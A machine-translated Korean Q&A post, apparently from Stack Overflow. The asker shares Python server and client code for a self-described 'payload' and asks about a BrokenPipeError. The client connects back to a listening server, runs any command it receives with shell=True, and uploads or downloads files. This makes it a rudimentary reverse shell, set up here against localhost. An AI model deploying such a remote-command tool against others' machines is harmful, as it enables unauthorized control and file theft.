2017-02-09 1 views
0

호스트 컴퓨터에서 명령을 다운로드/업로드하거나 실행하려면 작은 페이로드와 서버를 만들어야합니다.send() 함수에서 깨진 파이프 오류

오류 :

Traceback (most recent call last): 
    File "ServerCompletPAY.py", line 43, in <module> 
    a.send(command) 
BrokenPipeError: [Errno 32] Broken pipe 

내가 그러나 나는 다른 명령을 입력 할 때 다음 오류가 생성되고, 제대로 작동 처음으로 파일을 실행.

서버 코드 :

import os 
import socket 

global opening_file 
global name_file 
global a 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.bind(("0.0.0.0",1111)) 
s.listen(5) 
a,c = s.accept() 
print ("[*] We Are Connected ") 

def shell() : 
    verbose = a.recv(102400) 
    print (verbose.decode(),"\n","\n") 

def download_from_client(): 
    opening_file = open(name_file,"wb") 
    opening_file.write(a.recv(102400)) 
    x.close() 
    opening_file.close()  

def download_to_client(): 
    opening_file = open(name_file,"rb") 
    file_needed = opening_file.read() 
    a.send(file_needed) 
    a.close() 
    opening_file.close() 

def main(): 
    if first_word == "download": 
     download_to_client() 
    elif first_word == "upload" : 
     download_from_client() 
    else : 
     shell() 

while True : 
    command = input("<Shell >") 
    name_file = command.split("/")[-1] 
    first_word = command.split(" ")[0] 
    command = command.encode() 
    a.send(command) 
    main() 

클라이언트 코드 : 사전에

from subprocess import * 
import os 
import socket 

def shell() : 
    commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True) 
    comment = commandexe.communicate()[0] 
    s.send(comment) 

def download() :  
    file_name = commentrecv.split("/")[-1] 
    opening_file = open(file_name,"rb") 
    s.send(opening_file.read()) 
    opening_file.close() 

def upload(): 
    file_name = commentrecv.split("/")[-1] 
    opening_file = open(file_name,"wb") 
    file_name.write(s.recv(102400).decode()) 
    file_name.close() 

while True : 
    global s 
    global commandrecv 

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    s.connect(("127.0.0.1",1111)) 
    commandrecv_encoded = s.recv(1024) 
    commandrecv = commandrecv_encoded.decode() 
    first_word = commandrecv.split(" ")[0] #to know if i need to upload or download 

    if not commandrecv : 
     break; 
    else: 
     if first_word == "download": 
      download() 
     elif first_word == "upload" : 
      upload() 
     else : 
      shell() 

감사합니다. 이 문제에 대한 유사 보이는

+0

내 대답이 당신에게 도움이된다면 올바른 것으로 표시하십시오. –

답변

0

나는 이것을 시도,이 Answer을 인용하고있다 :

서버 프로세스는 소켓에 쓰기 SIGPIPE를 받고있다. 이는 대개 다른 (클라이언트) 측에서 완전히 닫힌 소켓에 쓸 때 발생합니다. 이것은 클라이언트 프로그램이 서버의 모든 데이터가 수신 될 때까지 대기하지 않고 단순히 close 함수를 사용하여 소켓을 닫을 때 발생할 수 있습니다.

일반적으로 C 프로그램에서 SIGPIPE 신호를 무시하거나 더미 신호 처리기를 설정하려고합니다. 이 경우 닫힌 소켓에 쓸 때 간단한 오류가 반환됩니다. 귀하의 경우에는 파이썬은 클라이언트의 조기 연결 해제로 처리 할 수있는 예외를 던질 것으로 보인다.